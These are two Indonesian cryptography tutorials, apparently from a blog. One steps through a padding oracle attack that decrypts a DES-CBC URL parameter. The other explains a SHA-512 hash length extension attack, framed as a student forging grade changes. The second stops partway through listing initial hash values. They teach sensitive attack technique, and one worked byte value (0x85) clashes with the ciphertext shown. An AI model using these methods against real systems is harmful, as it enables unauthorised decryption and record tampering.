Dalam web application, biasanya oracle menjawab dengan teks pada html “Error”, “Stacktrace”, “Invalid Padding Exception” atau pesan error sejenis. Cara lain menjawab adalah dengan membedakan status code HTTP, bila jawabannya salah, statusnya ’500 Internal Server Error’, bila benar statusnya ’200 OK’.

Cara kerja padding oracle attack adalah seperti pada gambar di bawah ini.

Screen Shot 2013-03-14 at 10.12.21 PM

Attacker melakukan brute force dengan mengirimkan banyak varian ciphertext untuk mendapatkan mana varian ciphertext yang menghasilkan valid padding. Ciphertext yang dikirim ke ‘the oracle’ dalam bentuk 2 blok, blok pertama selalu berubah-ubah ketika melakukan brute force untuk mencari varian blok ciphertext yang menghasilkan respons padding valid, sedangkan blok kedua adalah ciphertext yang ingin didekrip dan tidak berubah ketika melakukan brute force.

Perhatikan bahwa blok yang ingin didekrip diletakkan sebagai blok kedua dari ciphertext yang dikirim ke ‘the oracle’. Bila dalam ciphertext ada lebih dari satu blok ciphertext, kita bisa bebas memilih untuk mendekrip blok mana dulu, yang jelas caranya adalah dengan meletakkan blok ciphertext yang ingin didekrip sebagai blok kedua dari 2 blok ciphertext yang dikirim ke ‘the oracle’.

Lalu tepatnya bagaimana prosesnya, kenapa hanya dengan mengamati response valid atau invalid padding, kok bisa mendekrip ciphertext tanpa mengetahui kuncinya ? Agar lebih jelasnya saya akan jelaskan dengan contoh berikut.

Skenario Contoh

Suatu aplikasi web menyimpan encrypted data di client dalam parameter URL ‘crypted’. Seorang pelanggan warnet menemukan URL berikut dalam daftar history address bar komputer di warnet :

http://localhost:8888/kripto/thematrixoracle.php?crypted=2D7850F447A90B87123B36A038A8682F

Bila URL tersebut dibuka, ciphertext dikirim ke server dalam parameter crypted, kemudian server akan memberi respons:

  • ’500 Internal Server Error’ bila paddingnya tidak valid.
  • ’200 OK’ bila paddingnya valid.

Algoritma block cipher yang dipakai adalah DES berukuran 64 bit dalam mode CBC (apapun algoritma block-cipher yang dipakai tidaklah penting, padding oracle attack menyerang mode CBC apapun algoritma block-cipher yang dipakai). Dalam skenario ini source code yang digunakan di server sebagai the oracle adalah:

Screen Shot 2013-03-13 at 7.13.15 AM

Tanpa mengetahui kuncinya, hanya menggunakan jawaban dari the oracle, bagaimana cara si pelanggan warnet tadi untuk mendekrip isi parameter crypted ?

Mendapatkan byte terakhir P2

Sekarang saatnya melakukan serangan padding oracle. Kita akan mencoba mendekrip C2 satu byte per satu byte dimulai dari byte terakhir lalu maju sampai byte pertama.

Pertama yang harus dilakukan adalah memecah ciphertext yang ditemukan dari history browsing di atas, menjadi blok-blok. Karena panjang parameter crypted pada URL adalah 32 byte hexa string, artinya panjangnya adalah 16 byte, maka bisa diduga bahwa ini adalah block-cipher dengan panjang satu blok sebesar adalah 8 byte.

Berikutnya adalah memecah ciphertext menjadi blok. Setelah dipecah menjadi 2 blok, didapatkan C1 = ’2D7850F447A90B87′ dan C2= ’123B36A038A8682F’. Ini adalah blok C1 dan C2 yang asli ditemukan di URL dari browsing history.

Kita mulai dengan mendekrip blok terakhir dulu C2 (’123B36A038A8682F’). Seperti yang sudah dijelaskan sebelumnya, kita harus mengirim dua blok ciphertext ke ‘the oracle’ :

  1. Blok pertama adalah blok ciphertext custom yang dibuat attacker. Blok ini byte awalnya bisa berisi apapun (random atau null byte), yang penting adalah byte terakhir yang mempengaruhi padding harus dicari dengan cara brute force untuk membuat padding menjadi valid.
  2. Blok target yang akan didekrip (’123B36A038A8682F’). Blok ini tetap dalam setiap request karena blok inilah yang akan didekrip

Contoh dua blok cipher yang dikirim ke server adalah seperti di bawah ini.

Screen Shot 2013-03-14 at 3.49.37 PM

Dalam gambar di atas kita menggunakan deretan 7 null byte (byte 00) dan satu byte terakhir untuk brute force mulai dari 00-FF, sebagai ciphertext blok pertama. Sedangkan blok kedua tetap tidak berubah selama brute force karena ini adalah blok target yang akan didekrip.

Dua blok ciphertext pada gambar di atas digandeng kemudian dikirim ke server. Server sebagai ‘the oracle’ akan mendekrip 2 blok ciphertext tersebut dan memberikan response apakah menghasilkan plaintext dengan padding yang valid atau invalid.

Kita akan mulai mendekrip C2 dari byte terakhir, kemudian beranjak satu byte per satu byte sampai byte pertama C2. Karena yang dicari adalah byte terakhir P2 (hasil dekripsi C2), maka kita harus mencari byte terakhir ciphertext blok pertama yang membuat P2 menjadi bernilai 01 (valid padding). Situasinya tergambar seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 5.49.31 AM

Dalam gambar di atas, ada satu persamaan tapi dengan dua variabel yang tidak diketahui, A XOR B = 01, seharusnya persamaan ini tidak bisa diselesaikan. Tapi untungnya kita punya ‘the oracle’, dia akan membantu kita menyelesaikan persamaan tersebut. Bagaimanakah caranya?

Kita bisa menginterogasi ‘the oracle’ dengan mencoba semua kemungkinan B mulai dari 00-FF karena antara 00-FF pasti ada B yang membuat ‘A XOR B = 01′ menjadi benar. Kita bisa bertanya pada ‘the oracle’ pertanyaan-pertanyaan berikut:

  1. Apakah A XOR 00 = 01 ?
  2. Apakah A XOR 01 = 01 ?
  3. Apakah A XOR 02 = 01 ?
  4. Apakah A XOR 03 = 01 ?
  5. Apakah A XOR 04 = 01 ?
  6. Apakah A XOR 05 = 01 ? dst

Bila ‘the oracle’ menjawab dengan ‘invalid padding’, artinya jawaban pertanyaan di atas adalah ‘tidak’ dan kita harus mengajukan pertanyaan dengan byte berikutnya sampai FF. Sebaliknya bila the oracle menjawab dengan ‘valid padding’, artinya jawaban pertanyaan di atas adalah ‘ya’ dan kita sudah berhasil menemukan B.

Brute Force Byte Terakhir

Agar lebih jelas mari kita perhatikan lebih dalam lagi proses brute force untuk mendapatkan byte terakhir C1 yang membuat byte terakhir P2 menjadi 01 sehingga paddingnya valid.

Screen Shot 2013-03-14 at 10.47.22 PM

Dalam gambar di atas terlihat client mengirim 3 varian ciphertext. Pada varian pertama, byte terakhir blok ciphertext pertama adalah 00, setelah mendekrip ciphertext ini, ‘the oracle’ pun menjawab dengan ‘invalid padding’. Ketika mengirimkan ciphertext ini, sebenarnya kita sedang menginterogasi ‘the oracle’ dengan pertanyaan ‘Apakah A XOR 00 = 01 ?’, dan ternyata jawabannya adalah ‘tidak’ sehingga kita harus mencoba dengan pertanyaan lain.

Client tidak tahu hasil dekripsi ciphertext yang dia kirim menjadi apa. Client hanya bisa menduga-duga berdasarkan response dari ‘the oracle’. Karena responsnya adalah invalid padding, client menduga dan yakin bahwa byte terakhirnya pasti bukan 01. Walaupun client tidak tahu hasil dekripsinya apa, tapi client tahu bahwa byte terakhirnya pasti bukan 01, information-leak sekecil itu saja sudah cukup untuk mendekrip ciphertext tanpa mengetahui kuncinya.

Pada varian kedua, byte terakhir blok ciphertext pertama dinaikkan menjadi 01, namun jawaban ‘the oracle’ masih sama, yaitu ‘invalid padding’ yang artinya hasil dekripsinya pasti bukan diakhiri dengan byte 01. Kali ini kita mengajukan pertanyaan ‘Apakah A XOR 01 = 01 ?’, ternyata jawabannya masih ‘tidak’.

Pada varian ketiga, byte terakhir blok ciphertext pertama dinaikkan lagi menjadi 02, namun masih juga jawaban dari ‘the oracle’ adalah ‘invalid padding’. Dalam request ini kita mengajukan pertanyaan ‘Apakah A XOR 02 = 01 ?’, sayangnya jawabannya masih juga ‘tidak’.

Client harus terus mencoba menaikkan byte terakhir blok ciphertext pertama dari 00-FF karena di antara 00-FF pasti ada satu byte yang menghasilkan status padding valid. Gambar di bawah ini lanjutan dari proses brute force di atas sampai akhirnya client menemukan bahwa byte terakhir 0×87 akan membuat status padding menjadi valid.

Screen Shot 2013-03-14 at 11.01.57 PM

Hore, setelah mencoba dari byte 00, akhirnya pada request ke 88, didapatkan bahwa byte terakhir 87 menghasilkan respons valid padding. Kali ini kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 87 = 01 ?’.

Setelah dapat valid padding, so what ? Sebenarnya ada sesuatu yang cetar membahana disini, mari kita lihat lebih detil lagi byte per byte apa yang terjadi (Byte yang berisi ‘??’ artinya tidak diketahui isinya oleh client).

Screen Shot 2013-03-14 at 11.21.55 PM

Gambar di atas penting sekali untuk memahami padding oracle attack. Kita lihat kembali apa yang terjadi.

  1. Client mengirimkan 2 blok ciphertext dengan byte terakhir blok pertama bernilai 0×87
  2. Server mendekrip ciphertext dari client
  3. Setelah didekrip ternyata byte terakhirnya bernilai 01 (padding valid)
  4. Client mendeteksi response dari server bahwa padding valid
  5. Karena padding valid, client menduga (dan yakin) bahwa byte terakhir hasil dekripsi ciphertext yang dia kirim adalah 01

Okey, so far client hanya mengetahui byte 0×87 dan byte 0×01, apa yang bisa didapatkan dari itu ? Jawabannya ada pada gambar di atas, kita sebut saja byte yang berwarna hijau sebagai A.

Dari persamaan sebelumnya ‘the oracle’ sudah menjawab ‘Ya’ untuk pertanyaan: Apakah A XOR 0×87 = 0×01. Tadinya persamaan ini punya 2 variabel yang tidak diketahui, sekarang tinggal satu, artinya persamaan ini bisa diselesaikan. Lalu berapakah A ?

Jawabannya mudah, A adalah 0×87 ⊕ 0×01 = 0×86. Hore! Dengan mendeteksi response padding valid/tidak dari server, kini client bisa mengetahui A adalah 0×86, tapi tunggu dulu, A itu apa ? Jawabannya ada juga pada gambar di atas.

Pada gambar di atas jelas, A yang berwarna hijau adalah byte terakhir dari Decrypt(C2). Tapi jangan keburu senang dulu, ingat bahwa Decrypt(C2) bukan P2, masih ada satu langkah lagi untuk menjadi P2, masih harus di-XOR dulu dengan C1 untuk menghasilkan P2.

Karena byte terakhir C1 adalah 0×85 sehingga kita bisa dapatkan byte terakhir P2 adalah 0×86 XOR 0×85 = 0×03

Screen Shot 2013-03-14 at 11.27.01 PM

Mendapatkan byte ke-7 P2

Setelah berhasil mendapatkan byte terakhir P2 berikutnya adalah mendekrip 1 byte sebelum byte terakhir.

Caranya mirip dengan sebelumnya, yaitu dengan membuat agar padding hasil dekripsi ciphertext yang dikirim client, menjadi valid. Namun sedikit berbeda dengan sebelumnya, kali ini kondisi padding valid yang diinginkan adalah berakhiran dengan byte 02-02. Situasinya terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 6.26.50 AM

Kenapa byte terakhir blok ciphertext pertama sudah kita tetapkan berisi 0×84 ? Pada gambar di atas sudah jelas, bahwa 0×86 XOR sesuatu = 0×02, maka sesuatu itu adalah 0×84, simple math :).

Sekarang tinggal byte sebelum terakhir yang masih belum tahu harus diisi berapa agar menghasilkan 0×02 sebab ada dua tanda tanya disitu, jadi kalau ditulis persamaannya: A XOR B = 02, berapakah A dan B ?

Satu persamaan dengan dua variabel yang tidak diketahui mestinya tidak bisa diselesaikan. Cara mencari A dan B sama dengan sebelumnya, kita akan menginterogasi ‘the oracle’ untuk membantu menyelesaikan persamaan itu dalam bentuk brute force berikut:

  1. Apakah A XOR 00 = 02 ?
  2. Apakah A XOR 01 = 02 ?
  3. Apakah A XOR 02 = 02 ?
  4. Apakah A XOR 03 = 02 ?
  5. Apakah A XOR 04 = 02 ?
  6. Apakah A XOR 05 = 02 ? dst

Sekali lagi, brute force yang kita lakukan dengan mengirim banyak varian ciphertext pada dasarnya menginterogasi ‘the oracle’ untuk membantu memecahkan persamaan di atas. Jika ‘the oracle’ merespons dengan status ‘invalid padding’ artinya jawaban untuk pertanyaan di atas adalah ‘tidak’, artinya harus mencoba dengan pertanyaan berikutnya. Bila ‘the oracle’ merespons dengan status ‘valid padding’ artinya jawaban untuk pertanyaan di atas adalah ‘ya’.

Gambar di bawah ini adalah gambaran proses brute force yang dilakukan.

Screen Shot 2013-03-15 at 12.11.47 AM

Setelah dibrute force mulai dari 00, status padding valid didapatkan ketika 2 byte terakhir bernilai 0A-84. Kembali lagi ke persamaan di atas, jawaban status padding valid ini sama artinya dengan jawaban ‘ya’ untuk pertanyaan ‘Apakah A XOR 0A = 02 ?’ sehingga A bisa dihitung dengan mudah, yaitu 0A XOR 02 = 08. Situasinya kini menjadi seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 12.17.17 AM

Isi byte ke-7 dari P2 sekarang sudah bisa dihitung yaitu 08 XOR 0B (0B adalah byte ke-7 C1 yang asli) = 03.

Screen Shot 2013-03-15 at 12.21.43 AM

Mendapatkan byte ke-6 P2

Kali ini client harus mengirim dua blok ciphertext sedemikian sehingga ketika didekrip di server, hasilnya adalah P2 dengan 3 byte terakhir berisi 03-03-03. Situasinya kini adalah seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 6.37.56 AM

Pada gambar di atas, dua byte terakhir ciphertext blok pertama diisi dengan 0B-85 untuk memastikan ketika diXOR menghasilkan 2 byte terakhir P2 03-03. Sekarang byte ke-6 yang harus dicari dengan cara brute force, menginterogasi ‘the oracle’ untuk menyelesaikan persamaan A XOR B = 03. Proses brute force untuk mendapatkan padding yang valid terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 6.49.32 AM

Setelah mendapat status valid padding, artinya kita sudah mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR A9 = 03′ sehingga bisa dihitung A adalah 0xAA. Byte ke-6 P2 yang sesungguhnya adalah 0xAA XOR 0xA9 (A9 adalah byte ke-6 C1 yang asli) = 0×03. Situasinya sekarang menjadi seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 6.56.27 AM

Sejauh ini kita sudah berhasil mendapatkan 3 byte terakhir dari hasil dekripsi C2, yaitu 03-03-03.

Mendapatkan byte ke-5 P2

Mendapatkan byte ke-5 juga dilakukan dengan mengirimkan dua blok cipher sedemikian hingga ketika didekrip di server menghasilkan padding yang valid dengan byte terakhir 04-04-04-04. Situasinya seperti gambar di bawah ini.

Screen Shot 2013-03-15 at 7.08.10 AM

Tiga byte terakhir blok pertama ciphertext berisi AE-0C-82 untuk memastikan bahwa ketika diXOR menghasilkan 3 byte terakhir P2 04-04-04, menginterogasi ‘the oracle’ untuk menyelesaikan persamaan A XOR B = 04. Proses brute force untuk mendapatkan padding yang valid terlihat pada gambar di bawah ini.

Screen Shot 2013-03-15 at 7.14.33 AM

Setelah mendapat status valid padding, artinya kita sudah mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR 0E = 04′ sehingga kita bisa hitung A yaitu 0A. Setelah mendapatkan 0A, kita bisa hitung byte ke-5 P2 yang asli, yaitu 0A XOR 47 = 4D. Sejauh ini yang sudah kita dapatkan tergambar di bawah ini.

Screen Shot 2013-03-15 at 7.19.14 AM

Mendapatkan byte ke-4 P2

Mendapatkan byte ke-4 dilakukan dengan mengirimkan dua blok ciphertext sedemikian sehingga ketika didekrip di server menghasilkan padding yang valid dengan byte terakhir 05-05-05-05-05. Gambar di bawah ini menggambarkan situasinya.

Screen Shot 2013-03-15 at 7.27.22 AM

Dengan cara brute force yang sama dengan sebelumnya, diketahui bahwa bila byte ke-4 blok pertama ciphertext berisi 0xBD, response dari server adalah padding valid.

Screen Shot 2013-03-15 at 7.39.23 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR BD = 05′ sehingga A bisa dihitung yaitu BD XOR 05 = B8 dan byte ke-4 P2 menjadi B8 XOR F4 = 4C. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 7.31.27 AM

3 Lagi!

Tinggal 3 byte lagi yang belum. Mari kita lanjutkan. Mendapatkan byte ke-3 P2 dilakukan dengan mengirim 2 blok ciphertext yang membuat 6 byte terakhir P2 menjadi 06-06-06-06-06-06.

Screen Shot 2013-03-15 at 7.49.39 AM

Kita harus membrute force byte ke 3 dari C1 (‘??’ berwarna biru cyan) sampai mendapatkan response dari ‘the oracle’ bahwa padding valid. Ketika mendapatkan padding valid, client bisa yakin bahwa byte ke-3 P2 bernilai 06, sehingga 6 byte terakhir menjadi 06-06-06-06-06-06.

Screen Shot 2013-03-15 at 7.54.28 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 1D = 06′ sehingga A bisa dihitung yaitu 1D XOR 06 = 1B dan byte ke-3 P2 menjadi 1B XOR 50 = 4B. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 8.29.30 AM

2 Lagi!

Tinggal 2 lagi, ayo sedikit lagi nih! Sekarang client harus mengirim dua blok ciphertext yang membuat P2 menjadi 07-07-07-07-07-07-07.

Screen Shot 2013-03-15 at 8.36.11 AM

Berikut adalah proses brute force untuk mencari byte yang menghasilkan valid padding.

Screen Shot 2013-03-15 at 8.41.54 AM

Dengan mendapatkan status padding valid artinya kita mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 35 = 07′ sehingga A bisa dihitung yaitu 35 XOR 07 = 32 dan byte ke-3 P2 menjadi 32 XOR 78 = 4A. Gambar di bawah ini menunjukkan situasi terkini.

Screen Shot 2013-03-15 at 8.45.04 AM
Terakhir!

Sekarang tiba saatnya kita mencari byte pertama dari P2.

Screen Shot 2013-03-13 at 2.10.29 PM

Gambar berikut adalah proses brute force untuk mendapatkan valid padding.

Screen Shot 2013-03-13 at 2.20.57 PM

Dengan mendapatkan byte yang menyebabkan valid padding adalah 6C, artinya kita mendapat jawaban ‘Ya’ untuk pertanyaan ‘Apakah A XOR 6C = 08′ sehingga A bisa dihitung: 6C XOR 08 = 64. Setelah itu kita bisa menghitung byte pertama P2, yaitu 64 XOR 2D (byte pertama C1 yang asli) = 0×49.

C2 Decrypted!

Jadi kita sekarang sudah berhasil mendekrip C2 (’123B36A038A8682F’) mejadi ‘IJKLM’+03+03+03 dimulai dari byte terakhir sampai byte pertama tanpa mengetahui kunci dan algoritma apa yang dipakai.

Screen Shot 2013-03-13 at 2.31.08 PM

Hebatnya lagi dekripsi ini dilakukan sama sekali tidak menggunakan teknik komputasi kompleks tingkat tinggi (permutasi, S-BOX tidak dibutuhkan sama sekali), hanya XOR disana XOR disini, datapun berhasil didekrip. Kok bisa begitu ? Hal ini bisa terjadi karena yang melakukan dekripsi adalah server, serverlah yang akan melakukan komputasi kompleks untuk mendekrip ciphertext, attacker di luar tinggal mengamati respons dari server sebagai ‘the oracle’.

Jadi sehebat apapun algoritma enkripsinya, bila memakai mode CBC dan memberikan respons pada client apakah padding valid atau tidak valid, akan vulnerable, walaupun algoritma enkripsinya sendiri sebenarnya tidak vulnerable. Serangan oracle padding attack ini bukan menyerang algoritma enkripsi seperti DES/AES, serangan ini menyerang mode operasi CBC.

Decrypt C1

Setelah C2 berhasil didekrip, bagaimana cara mendekrip C1 (’2D7850F447A90B87′) ?

Sama seperti mendekrip C2, cara untuk mendekrip C1 adalah dengan membentuk dua blok ciphertext berikut:

  1. Blok custom yang dibuat attacker
  2. Blok C1 (’2D7850F447A90B87’) sebagai target yang akan didekrip

Kemudian dua blok tersebut digabung (concat) dan dikirim ke server. Selanjutnya caranya sama dengan sebelumnya. Berikut adalah gambaran situasi ketika mencari byte terakhir dari dekripsi C1. Sama seperti sebelumnya, blok pertama berisi null byte kecuali byte terakhir yang akan dibrute force, blok kedua berisi 2D-78-50-F4-47-A9-0B-87 yang akan didekrip.

Screen Shot 2013-03-15 at 9.04.37 AM

Disini kita mulai dari awal lagi, berangkat dari byte terakhir sampai byte pertama. Kita harus menginterogasi ‘the oracle’ untuk membantu menyelesaikan persamaan ‘A XOR B = 01′ berapakah A dan B ? Berikut adalah proses brute force untuk mencari byte terakhir yang membuat valid padding.

Screen Shot 2013-03-15 at 9.26.34 AM

Setelah mendapatkan status valid padding artinya kita telah mendapat jawaban ‘Ya’ dari ‘the oracle’ untuk pertanyaan ‘Apakah A XOR 41 = 01′ sehingga kita bisa menghitung A adalah 0×40.

Ingat untuk mendekrip suatu blok, kita membutuhkan blok ciphertext sebelumnya. Sebelumnya ketika kita mendekrip C2 kita meng-XOR-kan hasil Decrypt(C2) dengan C1, sekarang karena kita sedang mendekrip C1, maka kita membutuhkan ciphertext blok sebelumnya juga, yaitu C0 atau Initialization Vector (IV). Dalam contoh ini IV yang dipakai adalah deretan byte 01-02-03-04-05-06-07-08.

Byte yang sudah kita dapatkan adalah 0×40 harus kita XOR dulu dengan byte terakhir IV 0×08 untuk mendapatkan plaintext byte terakhir, yaitu 0×40 XOR 0×08 = 0×48.

Screen Shot 2013-03-15 at 9.37.52 AM

Kita telah mendapatkan byte terakhir dari hasil dekripsi C1, proses ini bisa terus dilanjutkan untuk mendapatkan byte-byte lain sebelum byte terakhir dengan cara yang sama dengan yang sebelumnya.

 

Mengeksploitasi Hash Length Extension Vulnerability

On March 5, 2013, in Cryptography, by Rizki Wicaksono

Dalam tulisan kali ini saya akan membahas tentang hash length extension attack, bagaimana cara eksploitasinya dan bagaimana cara agar program yang kita buat tidak bisa dieksploitasi dengan teknik serangan ini.

Fungsi hash kriptografis yang vulnerable terhadap serangan ini adalah fungsi hash yang menggunakan struktur Merkle-Damgard seperti MD5, SHA1, SHA2.

Dalam tulisan ini, fungsi hash yang dibahas adalah SHA-512 yang termasuk dalam keluarga SHA2. Fungsi hash lain MD5 dan SHA1 juga vulnerable namun tidak dibahas disini karena cara kerja dan prinsip dasarnya sama dengan serangan terhadap SHA-512.

Message Authentication Code (MAC)

MAC adalah suatu data yang digunakan sebagai otentikasi data dan menjamin keasliannya. Dalam gambar di bawah ini (sumber: wikipedia) menunjukkan salah satu use-case dari MAC, diilustrasikan bahwa Alice akan mengirim pesan ke Bob.

Screen Shot 2013-03-04 at 5.48.38 PM

  • Alice dan Bob sebelumnya harus sudah sepakat dengan suatu kunci rahasia
  • Alice menghitung MAC dari pesan dengan kunci rahasia
  • Alice mengirim MAC dan pesan ke Bob
  • Bob menghitung MAC dari pesan yang diterima dengan kunci rahasia

Bila MAC yang dihitung Bob sama dengan MAC yang diterima dari Alice, maka Bob yakin bahwa:

  • Pesan yang dikirim Alice masih asli, tidak diubah di tengah jalan oleh orang lain (Integrity)
  • Pesan benar-benar dikirim dan dibuat oleh Alice (Authentication)

Pihak selain Alice dan Bob tidak bisa mengubah data yang dikirim Alice dan tidak bisa mengirim pesan seolah-olah berasal dari Alice karena untuk membuat MAC yang valid dibutuhkan kunci yang hanya diketahui Alice dan Bob saja.

Fungsi Hash untuk MAC

Fungsi kriptografis hash seperti MD5, SHA1, SHA2 bisa dipakai untuk membuat MAC dengan cara menghitung hash dari gabungan secret key dan data yang akan dilindungi oleh MAC :

MAC = HASH(secretkey + data) seperti MD5(secretkey + data), SHA1(secretkey + data), SHA2(secretkey + data)

Dengan fungsi hash seperti ini, pihak ketiga yang tidak mengetahui secret key tidak bisa membuat hash yang valid dari suatu data. Sebagai contoh, bila seseorang ingin mengirimkan dataX dia harus menyertakan pula MD5(secretkey + dataX) sebagai MAC, bila dia mengetahui secretkey maka dia bisa menghitung nilai MAC dengan mudah. Namun bila secretkey tidak diketahui bagaimana cara menghitung MD5(secretkey + dataX) ? Mungkinkah menghitung MD5(secretkey+dataX) tanpa mengetahui secretkey ?

Kisah seorang Mahasiswa Galau

Di suatu kampus di suatu negeri far far away, terdapat sistem informasi akademik yang mengelola catatan nilai semua mahasiswanya. Ada seorang mahasiswa yang sedang galau karena terancam DO bila IPK semester ini masih saja satu koma. Dia berpikir untuk mencurangi sistem akademik kampusnya, dan mulailah dia melakukan information gathering dengan tujuan untuk mencurangi sistem akademik kampusnya.

Dari hasil sniffing dia mengetahui bahwa pencatatan nilai dilakukan terpusat di server akademik kampusnya dengan menggunakan HTTP GET request seperti ini:

http://ServerAkademik:8888/kripto/updatenilaisha512.php?token=1af41c81d665f0e8542cafbe333255d47b65c0e650d1c3fd919947d237b81e86f1aa4cd31fbe4254abc9b959e10f23b92bb0f932ac5c0414014b507f048acdc9&amp;nilai=MTMwMDAwMDAyM3xDUzMyMT1DO0NTNDQyPUI7

Si mahasiswa galau itu juga mencoba URL tersebut di browsernya, dan response yang muncul adalah:

Screen Shot 2013-03-05 at 2.10.27 PM

Dari URL dan responsenya tersebut dia menduga bahwa untuk mengubah nilai dia harus menggunakan URL tersebut dengan parameter nilai berupa base64 dan parameter token berupa hash SHA512(secretkey+isi parameter nilai) yang berfungsi sebagai MAC dari isi parameter nilai, namun si mahasiswa tidak tahu secretkey yang dipakai.

Isi parameter nilai dari URL tersebut setelah didecode adalah ’1300000023|CS321=C;CS442=B;’ dan kebetulan 1300000023 adalah NIM dia sendiri yang diikuti dengan nilai kuliahnya. Si mahasiswa kini paham bahwa untuk mengubah nilai parameter nilai harus mengikuti format (dikirim dalam bentuk base64 encoded):

NIM|KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;KODEMATKUL=A/B/C/D/E;

Kini si mahasiswa galau telah mengetahui cara membuat IPKnya menjadi 4 adalah dengan mengirimkan request GET dengan parameter nilai yang berisi daftar kode matakuliah dan nilainya (semua dibuat ‘A’). Supaya perintah perubahan nilai diterima server, dia juga harus mengirimkan hash SHA512(secretkey+isi parameter nilai). Bila dia bisa mengirimkan SHA512 yang valid, server akan percaya bahwa request GET tersebut terpercaya dan mengupdate nilai sesuai isi paramter nilai.

Namun hasil information gathering ini justru membuat si mahasiswa semakin galau karena dia tidak tahu secretkey yang dibutuhkan untuk membuat hash SHA512 yang valid. Tanpa SHA512 yang valid, request pengubahan nilai tidak akan diterima server.

Bagaimana cara si mahasiswa galau mengubah nilai tanpa mengetahui secretkey ?

Hash Length Extension Attack

Secara sederhana hash length extension attack bisa digambarkan sebagai berikut:
Bila diketahui data dan nilai hash dari (secret + data), maka kita bisa menghitung hash dari (secret + data + datatambahan) walaupun tidak mengetahui secret.

Sebagai contoh, bila diketahui sha512(secret + ‘abcd’) adalah :

b51ca01e1054cd0cfa09316e53a1272ed43cf6286a18380b7758546026edf2c6af9f11251768b7510728e5c35324f0715b0d7717228865cf621a96ed3cef05a1

Maka kita bisa menghitung sha512(secret + ‘abcd’ + ‘efghijklmnopqrstuvwxyz’) walaupun kita tidak mengetahui secret. Untuk memahami bagaimana hash length extension ini terjadi kita harus melihat bagaimana hash sha512 dihitung.

Padding pada SHA-512

SHA-512 tidak menghitung hash semua data secara sekaligus.  SHA-512 menghitung data setahap demi setahap, blok demi blok, dimana setiap blok data harus berukuran 1024 bit (128 byte). Jadi setiap data yang akan dihash akan dipotong-potong dan disusun dalam blok-blok berukuran 1024 bit.

Bila data yang akan dihash tidak tepat berukuran kelipatan 1024 bit, maka dibutuhkan pre-processing berupa menambahkan bit-bit padding sebagai pengganjal agar ukurannya menjadi tepat kelipatan 1024 bit.

Padding dilakukan dalam dua langkah:

  •  Menambahkan bit 1 di akhir data dan diikuti dengan bit 0 sejumlah yang diperlukan agar jumlahnya menjadi 128 bit kurang dari kelipatan 1024 bit.
  • Sisa 128 bit yang akan melengkapi blok menjadi 1024 bit adalah panjang dari data (sebelum ditambahkan padding)

Sebagai ilustrasi, bila data yang akan di hash adalah ‘abcd’ maka pre-processing akan menyusun blok pada gambar di bawah ini.

Screen Shot 2013-03-03 at 9.52.49 PM

Susunan byte 61626364 yang berwarna hijau adalah kode ascii ‘abcd’ yang akan dihash, kemudian diikuti dengan byte 0×80 sebagai awal dari padding. Byte 80 hexa digunakan sebagai awal padding karena dalam biner adalah 10000000, yaitu bit 1 yang diikuti rangkaian bit 0, padding dengan bit 0 terus dilanjutkan sampai berukuran 896 bit atau 128 bit kurang dari 1024. Padding ditutup dengan 128 bit panjang data dalam bit  yang berwarna biru. Dalam ilustrasi di atas panjang data ‘abcd’ adalah 4 atau 32 bit atau dalam hexa adalah 0×20.

Dalam contoh pertama ‘abcd’ data disusun dalam satu blok 1024 bit saja. Dalam ilustrasi kedua pada gambar di bawah ini, data yang akan dihash adalah huruf ‘A’ (0×41 hexa) sebanyak 150 karakter atau 1200 bit. Karena datanya berukuran 1200 bit, dalam kasus ini satu blok saja tidak cukup, sehingga dibutuhkan 2 blok.

Screen Shot 2013-03-04 at 12.09.12 PM

Dalam gambar di atas yang berwarna hijau adalah data yang akan dihash. Blok 1024 bit pertama berisi karakter ‘A’ sebanyak 128 karakter (128 x 8 bit = 1024), kemudian sisanya 22 karakter lagi mengisi awal dari blok 2. Setelah data diikuti dengan byte 0×80 dan deretan byte 0×00 yang berwarna kuning sampai menggenapi 128 bit kurang dari 1024 pada blok yang ke-2. Padding diakhiri dengan 128 bit berwarna biru berisi panjang data dalam bit, dalam contoh ini panjangnya adalah 0x04B0 atau 1200 bit.

Bagaimana bila data yang akan dihash panjangnya sudah tepat 128 bit kurang dari 1024 bit ? Dalam contoh di bawah ini data yang akan di hash adalah huruf A sebanyak 112 karakter atau 896 bit (128 bit kurang dari 1024).

Screen Shot 2013-03-04 at 11.52.51 AM

Walaupun data yang dihash sudah tepat 896 bit, padding yang berwarna kuning tetap harus ditambahkan sebelum padding panjang data yang berwarna biru. Sehingga proses padding akan menyusun dua blok seperti pada gambar di atas.

Komputasi SHA-512
SHA-512 menghitung nilai hash dengan cara memproses blok-blok berukuran 1024 bit. Gambar di bawah ini menunjukkan proses penghitungan SHA-512 data berupa deretan huruf A sebanyak 300 karakter. Data tersebut dipotong-potong dan ditambahkan padding sehingga menjadi 3 blok masing-masing berukuran 1024 bit.

Penghitungan hash suatu blok membutuhkan dua masukan, blok data 1024 bit dan hash dari blok sebelumnya. Kemudian hash dari suatu blok akan menjadi input untuk menghitung hash blok selanjutnya, dan proses ini terus berlanjut sampai semua blok telah dihitung hashnya.

Hash blok terakhir adalah nilai hash final dari data

Khusus untuk memroses blok pertama, hash yang dipakai sebagai input adalah intial hash value yang didefinisikan dalam FIPS 180-3 sebagai:

H0 = 0x6a09e667f3bcc908
H1 = 0xbb67ae8584caa73b
H2 = 0x3c6ef372fe94f82b
H3 = 0xa54ff53a5f1d36f1
